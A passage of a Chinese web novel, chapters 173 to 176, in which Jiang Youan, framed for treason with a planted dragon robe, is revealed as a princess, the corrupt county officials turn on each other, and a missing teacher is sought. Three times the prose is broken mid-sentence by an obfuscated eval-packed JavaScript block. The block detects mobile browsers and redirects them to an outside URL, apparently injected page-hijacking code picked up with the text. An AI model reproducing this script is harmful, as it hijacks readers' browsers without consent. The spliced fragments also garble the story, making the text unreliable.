展昌吃了一惊,“怎么会有这么多的弓箭?姜佑安,本官只听闻你在做善事,你准备这么多弓箭做什么?” 姜佑安走上前去,向展昌抱拳行礼,“大人,我除了开办了女子书院,还办了女子弓箭社,这些弓箭都是给我的社员们练习用的,之前清明举办的射柳比赛,前三名都是我的社员,这是全县百姓都有目共睹的,我只是想教姑娘们一点本事,并没有其他想法,还请大人明察。” “是啊,我记得可清楚了,射柳比赛获奖的都是女子书院的姑娘们。” “我家孩子只是去读书识字的,不可能谋反,大人不要相信他!” “弓箭社我也参加过,姜院长只教射箭,从没说过别的。” “对啊,我们姜院长是好人,请大人不要冤枉她!” “姜院长收留了那么多孤儿,她真的是好人。” “孙南金是在诬陷姜院长,请大人明察!” “大人,不要冤枉了好人啊!” 看到广场边围观的百姓纷纷为姜佑安求情,展昌对孙南金产生了怀疑,如果只是射箭,练练拳脚,确实算不上是什么问题,更扯不上谋反这样的大罪,孙南金为什么要诬告姜佑安? “孙南金,弓箭社的弓箭算不上什么证据,本官劝告你,诬告谋反也是大罪,你现在若是从实招来,我还可以宽恕一二,你若是再这样执迷不悟,谁也救不了你!”展昌语气严厉地说道。 孙南金慌忙跪下,“大人,姜佑安要谋反是事实,她不光训练这些学生们练武,给她们发兵器,还偷偷给自己准备了龙袍!” “龙袍?”展昌的双手紧紧抓住了看台边的栏杆,“这么严重的事,你可不能信口雌黄!” “不敢欺瞒大人,我今天随着官差去袁家搜查,发现她私自藏了两件绣有龙纹的长袍,她分明就是有谋反的心思!”孙南金说道。 吴思恭招了招手,便有一个差役走上了看台,把手中的衣服展开给展昌看,“大人,绣有龙纹的衣袍在此。” 173. 僭越 看到证物,吴思恭神色一凛,“这是从姜佑安家里搜出来的?” “正是。”吴思恭低头答道:“昨天孙南金向蒋大人告发了姜佑安,蒋大人知道不能打草惊蛇,才在姜佑安带着学生们外出的时候,命令差役去袁家搜查,这些弓箭和衣服,就是刚从袁家搜出来的。” “姜佑安!这绣有龙纹的衣服是哪来的?”展昌厉声问道。 “大人!我从没有做过什么龙袍,这是他们在栽赃陷害!”姜佑安大声回答道。 “大人明察,姜院长肯定是被冤枉的!” “是啊,姜院长肯定是被陷害的!” “知州大人,您千万不要冤枉了姜院长啊!” 学生们也纷纷为姜佑安喊冤。 展昌没理会下面纷乱的声音,他对蒋启连说道:“谋反的罪名非同小可!要是传出去,可能连你我都要受到牵连,本官必须亲自审问,蒋知县,你把这些证人都带上,本官要借你的县衙一用。” “是。”蒋启连应了一声,向台下吩咐道:“把这些女子书院的学生还有所有的袁家人都抓起来,带到县衙审问!” 差役冲过去抓人,广场上一片纷乱,李长风和杨恩冲过来,护在了姜佑安的身前,袁竹怀里抱着弓箭站在不远处,辛开元站在她的身旁,她一时难下决断,不知道此时该不该把弓箭拿给姜佑安。 姜佑安没想到霍祭太和知县联手,竟然要诬陷她谋反!这样的大罪,不仅自己要被砍头,袁家的那些女人也不能幸免,要是被抓到县衙里,不拿到谋反的证词,知县肯定不会罢休,只怕大家都要身受残酷刑法,还要被处死。 姜佑安在李长风耳边嘱咐了两句话,然后大喝一声,“等等!先别抓人!” 展昌挥了挥手,让众人安静下来,“你还有什么话讲?” “县衙的公堂地方窄小,容不下这么多人,知州大人不妨在这里审问,袁家有弓箭我不否认,但我从没有过谋反之心,那两件所谓的龙袍,我更是从未见过。”姜佑安说道。 “姜佑安所穿的衣服,不是我们自己买布缝制的,就是在县里成衣店买的成衣,我从没见过她有这样的衣服。”袁竹大声说道。 “我也没见过。”姜白凤大声喊道。 “这肯定不是佑安姐姐的衣服。”阮荷也大声说道。 “你们说没见过就是没见过?这是从你们袁家搜出来的,又和姜佑安的身量相当,不是她的,还能是谁的?家里藏着这种僭越的东西,姜佑安,你还敢说你没有谋反之心?”蒋启连质问道。 姜佑安冷笑一声,“知县大人只看了一眼衣服,就知道和我的身量相当,还真是好眼力,我看知县大人倒是比我更熟悉这两件衣服。” 展昌怀疑地看向蒋启连,蒋启连赶忙为自己开脱,“我只是看着像,大人要是觉得我的话不可信,可以让人拿下去给姜佑安试试。” 展昌抬起下巴示意了一下,便有一个下属拿着两件袍子来到台下的广场上,让姜佑安穿上比量大小,姜佑安翻看了衣服的料子和内衬的绣花之后才穿在身上,果然尺寸合适。 龙世蓉站在不远处,见那两件衣服的料子,和之前姜佑安拿到她家的差不多,那衣服原来不是在暗示姜佑安的身份,而是为了诬陷姜佑安谋反才专门做的? 龙世蓉紧张地握住了许家莺的手,关切地看着姜佑安的一举一动。 “这衣服分明就是为你量身定制的,你还要狡辩吗?”展昌生气地问道。 “就是量身定制的,才更让人觉得奇怪,我从没有在哪里定制过衣服,我们袁家也没有人会织锦缎,这衣服是哪来的?龙又是谁绣的?我真的完全不清楚。”姜佑安说道。 蒋启连向旁边使了个眼色,“你不清楚,那我就找人帮你回忆回忆。” 广场边的人群中走出一个女人来,“知州大人,民女是县里开成衣铺的秦虹,这两件衣服是姜院长在我这里定制的,她专门让我在内衬上绣上龙纹,我说这种活我做不了,她就给我加钱加到了一百两,我没敢伸张,让自家的绣娘给她做了两件。” “一百两买两件衣服,我出手还真是阔绰。”姜佑安看着秦虹,“秦老板,这样的衣服你不止做了两件,应该是做了四件吧。” 秦虹听了,用惊恐不安的眼神看向姜佑安,“你,你都知道了?” 蒋启连赶忙向展昌说道:“展大人,她都承认了,这样的僭越的衣服,她定做了四件!” “大人!姜佑安确实有谋反之心,大人可不要轻放了她啊!”孙南金跪在地上大喊道。 又有一人走出人群,在孙南金身旁跪下,姜佑安仔细一看,此人竟是李贵。 李贵冲着台上大喊道:“我是李家村的村民,我亲眼看到姜佑安带着一群女人拿着剑喊打喊杀,她还收留了很多历国来的人,她肯定跟历国有联系,她就是在训练一个军队,奔着打仗去的,大人,你要是不处理了她,以后她肯定是要谋反的!” “对啊,大人,她龙袍都做好了,接下来就要来攻打县城了,我们不想死在她的刀下,大人要为我们做主啊!”孙南金附和道。 姜佑安没有理会他们,只紧紧盯着秦虹,“秦老板,你跟我说实话,这几件衣服到底是谁找你定做的?那日你说要给我做衣服,我想着照顾一下你的生意,才没有拒绝,让你给我量了尺寸,你说不收钱,我还是把钱给你了,在我心里,你不是个会颠倒黑白的人,你有什么隐情,可以跟我说,我会帮你的。” 秦虹愁眉紧皱,嘴唇直哆嗦,“你都自身难保了,还要帮我?先顾着你自己吧!” “你不会有事的,我会想办法护你周全,只要你告诉我,衣服是谁找你定做的,是蒋启连、吴思恭还是霍祭太?”姜佑安问道。 “秦虹!在知州大人面前,你可不能撒谎,是姜佑安找你定做的衣服吗?”蒋启连问道。 秦虹抬头看了一眼,双手紧紧攥在一起,“是她,是姜院长找我定做的,她还跟我说不能告诉别人,她有大用处。” 展昌狠狠瞪着姜佑安,“姜佑安,你不但训练学生习武,收集武器,私藏龙袍,你还收留了历国的人,是打算通敌叛国吗?” “大人,我收留的那些人,她们不是历国人,是本国的子民,这里才是她们的母国,她们从没想过要叛国,是皇上割让了城池,不要她们了!她们在那边饱受欺凌,好不容易逃出来的,根本不想再回去。”姜佑安气愤地说道。 “你果然对皇上抱有恨意,我看他们说得对,你早晚要谋反。”展昌用力拍了一下栏杆,“来人!即刻把大逆罪人姜佑安关进大牢,等候发落!” “等一下!”人群中突然一阵骚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人的目光都聚集在姜佑安身上,姜佑安手握弓箭,陷入了两难的境地,要是现在杀了蒋启连,自己会被问罪,袁家人的也会被牵连,要是束手就擒,谋反的罪名肯定洗刷不掉,袁家的人也会被处置。 见姜佑安不说话,李长风拔出了腰间的长剑,“姜院长不是你们可以随意处置的人,今天要是伤到了姜院长,你们都要给她陪葬!” 蒋启连嗤笑一声,“狂妄小儿,你以为这种话能威胁到我?我倒数三声,再不放下武器,就把你们这些逆党一同射杀!三,二……” “知县大人!手下留情!”龙世蓉从人群中走出,来到了看台前。 “龙老板,我知道你和姜佑安交情不浅,不过,谋反这种大罪,你还是不要掺和比较好。”吴思恭劝道。 龙世蓉向台上行了一礼,“展大人,蒋大人,吴大人,我站出来并不是要为姜院长求情,而是想劝诸位大人不要犯下大错。” “我们,能犯下什么大错?”展昌问道。 “姜院长既没有谋反,也没有僭越,她本是当朝长兴公主,是皇上最疼爱的女儿,曾被皇上特许,可以穿龙纹衣饰,你们若是因此就将公主下狱,甚至于当场射杀。恐怕你们的项上人头也要保不住了。”龙世蓉沉稳地说道。 174. 相认 “什么?长兴公主?”这一上午的变故太多,让展昌应接不暇,他脑子都转过弯来了,“长兴公主去了历国和亲,怎么会出现在这里?” 姜佑安看着龙世蓉,心中十分震惊,她怎么会知道自己的真实身份? “龙世蓉!你少在这里胡说八道!冒认皇亲国戚可是死罪,你撒下这样的弥天大谎,也不想活了是吧!”蒋启连发起怒来,脸上的肉都在颤抖。 “我没有撒谎,姜院长真的是当朝公主,我家中有公主的信物,可以证明。”龙世蓉坚持道。 袁竹上前一步,“我也可以证明,她真的是公主!” 李长风也持剑上前一步,“龙老板说得没错,长兴公主在此,你们还不速速下来参拜!” 展昌脑子晕晕乎乎的,不知该如何应对,他转头看向蒋启连,征求他的意见。 蒋启连认定她们是在撒谎,呵斥道:“长兴公主在历国,这个姜佑安肯定是冒充的,你们别想着耍花样,再怎么拖延时间也没用,今天我定要将你们抓捕入狱!来人,把姜佑安和袁竹都给我抓起来!” 山门处的人群突然分列两边,由几个仆从开路,引着一个衣着华贵的男人走了过来,“不是说这里有祭祀典礼吗?舞都跳完了?怎么在这里抓起人来了?” 听见熟悉的声音,姜佑安回过头,看清了来人的模样,原来是庄伯章,他怎么会在这里? 姜佑安悄悄松了一口气,在她陷入两难的时候,龙世蓉突然给她指明了第三条路,虽然她不愿意暴露身份,但要想救下袁家的人,也只能如此了。 庄伯章扫视着广场上的人群,一眼就看到了阮荷,走过去向她打招呼,“阮姑娘,我是特意来看你跳舞的,我没来晚吧?” 姜佑安把身上的锦袍脱下来交给李长风,自己走过去挡在阮荷身前,“大哥,别来无恙啊。” 庄伯章看到姜佑安简直像看到鬼了一样,身子猛地一抖,差点儿没站稳,旁边的仆从赶忙把他扶住。 “五年没见,大哥都不记得我了吗?”姜佑安笑着问道。 “庆,庆,庆容?”庄伯章瞪大了双眼,“你不是在历国吗?怎么会在这儿?” “我还要问你呢,你不在京城待着,怎么到这里来了?”姜佑安反问道。 展昌在看台上见到庄伯章来了,慌忙走下来要向大皇子行礼问好,听见两个人在互相寒暄,在震惊中确认了姜佑安的公主身份。 蒋启连和吴思恭不知道发生了什么事,跟着展昌下了看台,见他在一旁站着不动,便问他怎么了。 展昌瞪了他一眼,“别废话,快跟我去拜见大皇子。” “大皇子?这刚出来一个公主,怎么又来了一个皇子?是真的吗?您不会是在逗我吧?”蒋启连笑着说道。 展昌眉头紧皱,恨不得给他一脚,“这就是我说的知府大人请的贵客,管好你的嘴,不要乱说话!小心你的官帽不保!” 展昌拉着蒋启连的胳膊,来到庄伯章身边,向他行礼,“微臣定州知州展昌,参见皇子殿下。” “免礼,展大人,我妹妹也是你请过来的?”庄伯章向展昌问道。 “回殿下,微臣从未见过公主,请问这位就是长兴公主殿下吗?”展昌小心翼翼地问道。 庄伯章闻言,怀疑地看向姜佑安,“你从哪儿来的?你真是庆容?看你这么黑,皮肤这么粗糙,你不会假冒的吧。” 姜佑安笑了笑,“想让我证明?那我就说两件你小时候的糗事来给你听听吧,你五岁那年,想要爬树摘樱桃……” “等等等等!”这个得意的笑容,庄伯章太熟悉了,再不拦着她,自己可就要丢脸了,“别说的跟你见过似的,你那都是听说的,都不可信!” 姜佑安接着说道:“那我就说说你二十岁那年,我亲眼看见你……” “停!”庄伯章赶忙拦住她,“我知道了,你是庆容,我承认就是了。” 展昌连忙向姜佑安行礼,“微臣不知公主殿下驾临,刚才多有冒犯,还望殿下恕罪。” 蒋启连已知大祸临头,忙跪了下来,“微臣泰安县知县蒋启连,参见皇子殿下,公主殿下。” 吴思恭也跟着跪了下来,“微臣泰安县县丞吴思恭,参见皇子殿下,公主殿下。” “你们跪下干什么?站起来说话。”庄伯章奇怪地问道:“刚才这里这么热闹,说要抓人来着,是出了什么事?要抓谁啊?” 蒋启连和吴思恭正要站起来说话,听他问起抓人的事,又赶忙磕头。 “微臣不认得公主,以为是有人冒充皇亲国戚,才要抓人的,还请二位殿下恕罪。”蒋启连说道。 “不知者不罪,我都没想到她能出现在这里,你们又如何能知道,起来说话吧。”庄伯章说道。 蒋启连和吴思恭站了起来,战战兢兢地立在展昌身旁。 姜佑安没有理会他们,而是径直走到了秦虹的面前,“秦老板,我现在有能力护你周全,你可以说实话了吧。” 秦虹浑身抖如筛糠,低着头,害怕得一句话都说不出来。 姜佑安把秦虹单薄的身子抱在了怀里,轻抚着她的后背,安慰道:“你跟我无冤无仇,我知道你没有理由害我,是有人威胁你了吧,别怕,我只想知道真相,不会追究你的责任。” 秦虹被姜佑安的话安抚住,身子渐渐不抖了,轻声向姜佑安说道:“是吴县丞,他说如果我不听他的话,就要让我家的铺子开不成,我家里有三个孩子,没有这家店,我们就都活不成了。” 庄伯章走了过来,追问道:“庆容,你在干什么呢?你还没告诉我,你怎么会在这里,你从历国偷偷跑回来的?” “等会儿再说。”姜佑安没理庄伯章,而是牵着秦虹来到吴思恭面前,“吴县丞,我身上这件袍子,是从哪儿来的,你好好跟我说说。” 庄伯章跟在她身边,奇怪地看着她,“你的脾气还是这么怪,你的衣服,怎么问别人是怎么来的?” “你闭嘴!”姜佑安瞪了庄伯章一眼,“我审案子呢,等会儿再跟你说。” 庄伯章不情不愿地闭上了嘴。 吴思恭扑通一声跪在了地上,“公主殿下,不是我想这么做的,都是知县大人,他见袁家的生意挣钱,还有一所大院子,就想编个罪名,把你们都下狱,这样袁家的东西就都归他了。” 蒋启连惊慌地看着吴思恭,“吴思恭!你想把一切都推到我身上,好把你自己择干净了是不是?这明明都是你给我出的主意,你别以为我不知道,霍祭太送来的钱,你自己就私吞了一大半!你分明是为了帮霍祭太出气,才想出谋反这个罪名的。” 吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062151|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思恭一时涕泪交加,向姜佑安哭诉道:“公主殿下明鉴!是蒋启连觊觎女子书院的学生,想要占有她们又没有个由头,才要以谋反的罪名把学生们都下狱,好让这些姑娘落入贱籍,任他处置,我劝过他的,可他不肯听,我也是没办法啊。” “你胡说!”蒋启连也跪了下来,向姜佑安申辩道:“我原本只是想看学生们跳跳舞而已,是吴思恭跟我说,他有办法让这些姑娘们变成官伎,我是一时糊涂,才被他蒙骗了,把霍祭太从大牢里放出去,找来庆丰镇、李家村的人还有成衣店的老板诬陷公主,这些事都是吴思恭做下的!” 庄伯章听来听去,没听明白个所以然,他看向姜佑安,姜佑安则看向了展昌。 “这两人身为本县父母官,不想着为百姓排忧解难,只想着欺压和盘剥百姓,实在不配为官,展大人,这个案子我想交给您来审,您愿意接手吗?”姜佑安问道。 展昌向姜佑安行了一礼,“这两人是微臣的下属,理应由微臣来查明真相,还公主殿下清白。” “好,这些人你都带走吧。”姜佑安抬手指向秦虹,“这位秦老板是我的朋友,请展大人问话时客气些,不要吓到她,更不要为难她的家人。” 孙南金和李贵听了,忙扑过来跪下求情。 “公主殿下,饶了我们吧,我也是被知县和县丞逼的。” “我们知道错了,公主你就饶了我们吧。” 展昌看了一眼地上的两人,“那这二位……” “展大人秉公处理就是。”姜佑安说道。 山门处有人鸣锣开道,还有人高声吆喝着“知府大人到!” 展昌忙上前行礼,“定州知州展昌,参见知府大人。” “上午有点事耽搁了,让你久等了,没误了你的事吧。”王世镜笑着说道。 “按大人所说,祭祀典礼照常举行,并没有误什么事。”展昌答道。 “大皇子来了吗?”王世镜问道。 “来了,就在广场上。”展昌答道。 展昌引着王世镜走上了广场,王世镜向庄伯章问道:“皇子殿下,听说你昨晚喝多了,没错过今天的祭祀典礼吧?” “别提了,今天我一起来就迟了,着急忙慌赶过来,什么都没看到,光看人审案子了。”庄伯章说道。 “审案子?谁要在这里审案子?出什么事了?”王世镜问道。 姜佑安微微一笑,“叔叔,是我在这里审案子,不是什么大事,展大人会帮我处理的。” “你是?”王世镜看向姜佑安,愣住了片刻,然后震惊地张大了嘴巴,“长兴公主?你是公主殿下!” “还不知道叔叔升任了知府,给叔叔道喜了。”姜佑安笑着说道。 王世镜向姜佑安行了一礼,“公主殿下,我还以为余生再也见不到殿下了,您是什么时候从历国回来的?” “此事说来话长,稍候我再跟叔叔解释。”姜佑安看向展昌,“劳烦展大人把这些人都带下去吧。” “是。”展昌应了一声,命人把霍祭太的尸体抬走,把蒋启连、吴思恭还有几个证人通通带走,又向王世镜解释了几句,便出了城隍庙往县衙去了。 “凡是被蒋启连和吴思恭敲诈勒索过的,都跟着去县衙告状去吧,展大人会给你们做主的。”姜佑安扬声说道。 175. 失踪 广场边的百姓听了,有要去告状的,也有跟着去看热闹的,顷刻间就走了大半。 见人走得差不多了,姜佑安让学生们也都散了,县城里的各回各家,城外的也都跟着父母回去,袁家的跟着袁竹和辛开元回袁家去。 听了姜佑安的安排,袁竹站在原地没有动,“佑安,你还回去吗?” 姜佑安笑了笑,“回啊,我也一起回去。” 袁竹这才放心地笑了,“好,我们在袁家等你。” 姜佑安环视着广场四周,“袁竹,辛老师,你们看到戴老师了吗?” 袁家众人都摇头说没看见,姜佑安便让她们先走了。 “真是怪了,戴老师怎么会不见了?他也跟着去县衙了?”姜佑安马上否定了这个想法,“不可能,他是就走了,也会跟我说一声的。” “戴老师是谁?殿下你要回哪里去?”王世镜问道。 “戴老师是我们女子书院的老师,早上我跟他一起来的,刚才乱糟糟的,他不知道被人流冲到哪里去了,我得先找到他,再和他一起回袁家。”姜佑安说道。 “女子书院?殿下你和女子书院,和袁家,是什么关系?”王世镜问道。 姜佑安骄傲地笑了笑,“我就是女子书院的院长,袁竹是我的朋友,我一直在她家里住。” “女子书院的院长姜佑安,就是你?”王世镜震惊地问道。 “是,我知道叔叔你去过袁家,那时候我还不想暴露我的身份,就没有出来和你相认。”姜佑安说道。 龙世蓉走上前来,对姜佑安行了一礼,“公主殿下,我让您的身份暴露了,您不会怪罪我吧。” “怎么会。”姜佑安扶起了龙世蓉,“当时情况紧急,我知道你是为了救我,不过,你是怎么知道我是公主的?” “这件事,我也有隐情,不方便在这里说,等过几天,我带着文珠去看你,再跟你解释。”龙世蓉说道。 “好,我等着你的解释。”姜佑安笑着说道。 龙世蓉叫许家莺上前来跟姜佑安打了招呼,两个人带着墙边远远站着的文珠离开了。 王世镜还在梳理着思绪,“这么说,您前年就在泰安县了?” “我的事,也不方便在这里说,叔叔,一会儿你跟我一起去袁家吧,等我找到戴老师了,再慢慢跟你说。”姜佑安说道。 “殿下要找人,我派人帮您找就是了,他姓戴是吧,叫什么名字?”王世镜问道。 “他叫戴庭芳,是县里崇正书院院长戴克政的儿子,他可能还在这城隍庙里,请叔叔帮我找找吧。”姜佑安说道。 王世镜一声令下,他的那些随从就分散开来,四处找人去了,王世镜让姜佑安去看台上坐会儿,人找到了,会带到她面前来,姜佑安便和王世镜、庄伯章一起去看台上坐了,等待着戴庭芳的消息。 等那些随从把城隍庙寻访了一遍,却一无所获,姜佑安向王世镜说道:“叔叔,看来戴老师是回家去了,请叔叔就帮我派人去一趟崇正书院院长戴克政家,帮我传个话给戴庭芳,就说我先回去袁家去了,让他也尽快回去。” “好,我这就派人去传话。”王世镜向身后命令道:“黎泱泱,你带两个人把公主殿下送到我的马车上,护送她到袁家去。” 看到黎泱泱走出来,姜佑安站起身来,眼睛里充满了惊喜,“黎泱泱!你怎么会在这里?” 黎泱泱强压下内心的激动,板着脸答道:“我是王大人的贴身侍卫,是跟着王大人一起来的。” “你们?认识?”王世镜惊讶地问道。 “黎泱泱被选拔到州里的那次射柳比赛,我是第一,他是第二,要不是你那里不要女人,叔叔你的贴身侍卫,可就是我了。”姜佑安笑着答道。 王世镜听了,更加震惊,“那个时候您就已经在泰安县了?” “是啊。”姜佑安点了点头,“我先走了,袁家你和我大哥都去过,我就不给你们指路了。” “好,殿下请先走一步,黎泱泱,你好好护送公主过去,不要有什么闪失。”王世镜说道。 姜佑安走过山门时,回头看了看,王世镜正在和庄伯章低声说着些什么,看来这次,真的没有回转的余地了,藏匿了五年,她终于还是要面对这一切。 坐上马车,姜佑安一路沉默着,直到马车停下,黎泱泱撩起了门帘,“公主殿下,袁家到了。” 黎泱泱伸手要扶着姜佑安,姜佑安也没拒绝了,搭着他的胳膊跳下了马车。 徐洪愿正在院门口向外张望,见姜佑安回来了,急忙跑了上去,“姜佑安,不是,公主,不好了,心柔不见了!” “心柔?我不是让你用马车把她送走吗?她怎么会不见了?”姜佑安问道。 “马车、包袱和信,我都是按你的要求做的,谁想到心柔来的时候,突然来了好多官差,说袁家的马车不能离开那里,我见马车用不了,就让心柔先到袁家来,等你回来再拿主意,城隍庙里人散了之后,我就赶紧回来找心柔,可大家都说没看见她,不知道她在哪。”徐洪愿说道。 “她没有马车应该走不远,等会儿王知府来了,我让他帮忙找找吧,兴许是心柔觉得走不了,又回县里去了也不一定。”姜佑安说道。 徐洪愿一脸欲哭的表情,“都怪我,我当时要是和她一起走就好了。” “这不怪你。”姜佑安牵着徐洪愿的手往大门走去,“别着急,她不会有事的。” 姜佑安嘴上这么说,心里还是觉得有些不安,心柔和戴庭芳去了哪里?不会出什么事了吧,应该不会,心柔可能是回县里了,戴庭芳应该是回戴家了。 姜佑安牵着徐洪愿走进了二门,黎泱泱带着两个侍卫跟在她们身后,杨恩和李长风原本在院门内站着,此时也跟了进来,袁家的人已经知道姜佑安的身份,都远远地站着,不敢上前去打招呼。 袁竹看到人回来了,从堂屋里走出来,快步迎了上去,“佑安,你没事吧,他们有没有为难你?” 姜佑安松开徐洪愿的手,笑了笑,“我可是当朝公主,谁敢为难我?” “那就好,那就好。”袁竹欣慰地笑了,看到姜佑安身后的黎泱泱,袁竹有些惊讶,“黎公子怎么会在这里?” “他是跟着王知府来的,之前黎公子不是被选拔到州了去了吗?估计就一直跟着他了。”姜佑安说道。 黎泱泱点了点头,“正如公主殿下所说,我是奉知府大人之命护送公主来的。” “别一口一个公主的,大家都是熟人,不用守这些礼节。”姜佑安看向袁竹,“对了,袁竹,戴老师回来了吗?” “他没到这里来,我让开元过去看看吧。”袁竹说道。 辛开元站在屋檐下,听到袁竹的话,马上抬起脚往外走,“我现在就去看看。” “麻烦你了。”姜佑安说道。 “公主殿下客气了。”辛开元停下脚步,低头回道。 “辛老师,你还是叫我姜院长吧,在咱们袁家,没有公主。”姜佑安说道。 辛开元看了袁竹一眼,点头应道:“好,姜院长,我去去就回。” 姜佑安看到阮荷和阮晨烟站在房门口,招手让她们过来,“干吗呀,不认识我了?躲那么远干什么?” 阮荷走过去,有些僵硬地笑了笑,“没想到佑安姐姐竟然是公主,那位庄公子,是你哥哥,还是皇子我上次惹怒了他,他不会因此而怪罪袁家吧。” “当然不会。”姜佑安拉着阮荷的手说道,“我那个哥哥,没出息得很,他也就会说说狠话吓唬吓唬你,不会做什么的,你不用管他。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我那么坦诚地告诉你,你竟然还不相信我?”姜佑安难以置信地说道。 “我哪能想到自己身边能真的出现公主,小阮,要是她告诉你,你会相信吗?”袁竹笑着问道。 阮荷迟疑了一下没有回答,阮晨烟说道:“我肯定信,姜院长这么厉害,就是真正的公主。” “还是软妹妹信得过我,今天许你多吃几个粽子。”姜佑安高兴地说道。 “你不是说只有长风知道你的真实身份吗?怎么龙世蓉也知道?你什么时候告诉她的?”袁竹问道。 “我从来没跟她说过,也不知道她是怎么知道的,我今天问她,她说不方便说,等过两天再来告诉我。”姜佑安说道。 “龙姐姐真是厉害,连这种事都知道。”阮荷说道。 钟二娘走过去,小声问道:“粽子都煮好了,要先吃饭吗?” “好,先吃饭吧,今天我们都走了,辛苦你们包粽子了。”姜佑安微笑着说道。 “不辛苦,平时做饭的人不都在吗,郭英、王姐还有袁家姐姐也都过来帮忙了,我让她们留下中午一起吃饭,她们还不肯,粽子一下锅,她们就走了。”钟二娘笑着说道。 这边正说着话,王世镜和庄伯章从二门走了进来,院子里的人们纷纷避让。 王世镜走到了姜佑安面前,“殿下,这地方我们都来过,真是没想到,原来您就住在这里。” 姜佑安直接问道:“叔叔,你的人见到戴老师了吗?” “没有,戴家的人都说戴庭芳没有回去。”王世镜说道。 姜佑安见辛开元也回来了,忙迎了过去,“戴老师回来了吗?” “没有。”辛开元摇了摇头,“他房间里没有,学堂里也没有,长风和杨恩都说没看见他。” 176. 搜寻 姜佑安心里有了不好的预感,她有些惊慌地喃喃自语道:“戴老师怎么会不见了?不会出什么事了吧。” “难道知县他们还有同伙?”袁竹猜测道。 姜佑安回过头来看着袁竹,“他们的同伙抓戴老师做什么?” “肯定是要用来威胁你的,假如你不肯招认,他们就要对戴老师下手。”辛开元说道。 “这个戴老师这么重要吗?”王世镜问道。 “重要,戴老师和佑安就快要成亲了,知县他们肯定也是知道这一点,才会抓走戴老师的。”辛开元说道。 “成亲?”王世镜皱了眉头,“殿下,您要找个男宠,我们都不会说什么,但您有婚约在身,怎么能私自和一个平民成亲?皇上是不会同意的。” “现在先别说这些,叔叔,我得再去一趟县里,找知县和县丞逼问出戴老师的下落。”姜佑安说着就要往外走。 “公主殿下。”黎泱泱站了出来,“殿下,您和大人多年未见,肯定有很多话要讲,我看戴公子也不一定是被抓起来了,可能是遇到了县里的朋友,顺便去做个客,我对县里的情况比较熟悉,不如您留在这里陪大人说话,我去给您办这件事吧,如果真的是知县抓走了戴公子,我一定帮您把他找出来。” 姜佑安考虑了片刻,点了点头,“好,黎公子,这事就拜托你了,还有一件事,也要麻烦你,你到了县衙之后,让展大人帮我找一个叫心柔的舞伎,她如果没在营房,就请展大人派人到县城附近查访,我想知道她的下落。” “是。”黎泱泱应了一声,看向王世镜。 “你去吧,一切按殿下的吩咐做。”王世镜说道。 “是。”黎泱泱向王世镜点了点头,大踏步走了出去。 “两位大人请去屋里坐吧。”袁竹说道。 “这位就是袁娘子吧,前年我过来的时候,正碰上你外出了,没能见上一面,去年事务繁忙,想来也没时间,今天可算是见到你了。”王世镜说道。 “你没见到,去年我帮你过来买菊花的时候,可是见过的。”庄伯章一脸骄傲地说道。 “去年确实是麻烦殿下了。”王世镜说道。 “袁竹,你让大家先吃饭吧,叔叔,大哥,走,去我房里,我有话跟你们说。”姜佑安走过去,打开了耳房的门,庄伯章和王世镜走了进去。 “你平时就住这里?”庄伯章问道。 “这怎么能行,殿下,您今天就跟我走,我给您安排住处。”王世镜说道。 “我在这里住着挺好的。”姜佑安说着,关上了房门,那些仆从都跟过去,守在了门口。 袁竹见姜佑安和他们有话要说,便让大家不用管了,都先吃饭去。 钟二娘领着孩子们去了后院,箫悦笙和女人们端着饭菜去了二门外,其他人去了堂屋里摆上了饭桌,准备吃饭,袁竹去厨房捞了一盆粽子出来,拿给那些守门的仆从们吃。 仆从们互相看了看,都没敢去拿,袁竹走到耳房门口,敲了敲门,“佑安,粽子煮好了,你们要不要先吃点儿?” “我们等会儿再吃,你们先吃吧,不用管我们。”姜佑安在屋里扬声说道。 “外面守门的这些人,我让他们先吃点儿行不行?”袁竹又问道。 “行,让他们吃吧。”王世镜答道。 外面的人听见王世镜的话,才纷纷去袁竹捧着的盆里拿了粽子,向她道了谢,剥开粽叶吃了起来。 分完了粽子,袁竹见杨恩和李长风还站咋一旁,于是叫他们也一块去屋里吃饭,饭桌上,大家都眨巴着眼睛看着袁竹,没有一个人开口说话。 “干吗啊?平时也没见你们这么安静,在咱们自己家里,怎么连话都不敢说了?”袁竹说道。 “有两个大官在,还是小心点儿好。”徐洪愿说道。 “是三个,公主也是大官吧,我看他们都听公主的。”阮晨烟说道。 “不算吧,我从没听人说公主是官的。”阮荷说道。 阮晨烟向阮荷问道:“那公主是什么?” “公主就是皇上的女儿,只是身份尊贵,没有要处理的事务,也没有太大的权力。”霍静说道。 邵苏木感叹道:“真没想到,姜院长竟然是当朝公主,她对我们完全没有公主的架子,这样的做派,真是难得。” 徐洪愿看向李长风,疑惑地说了半句话,“听说伺候公主的都是宫女和太监……” “我可不是太监,我是侍卫!”李长风赶忙答道。 徐洪愿笑了起来,“哦对,我忘了,还有侍卫。” “姜院长是公主,以后恐怕不能继续住在这里了吧。”辛开元说道。 “不住这里住哪里?她说了,她不会离开这里的,她永远是我们袁家人。”袁竹说道。 辛开元点了点头,有些犹豫地说道:“可是,万一皇上知道了,肯定会让她回京城的。” 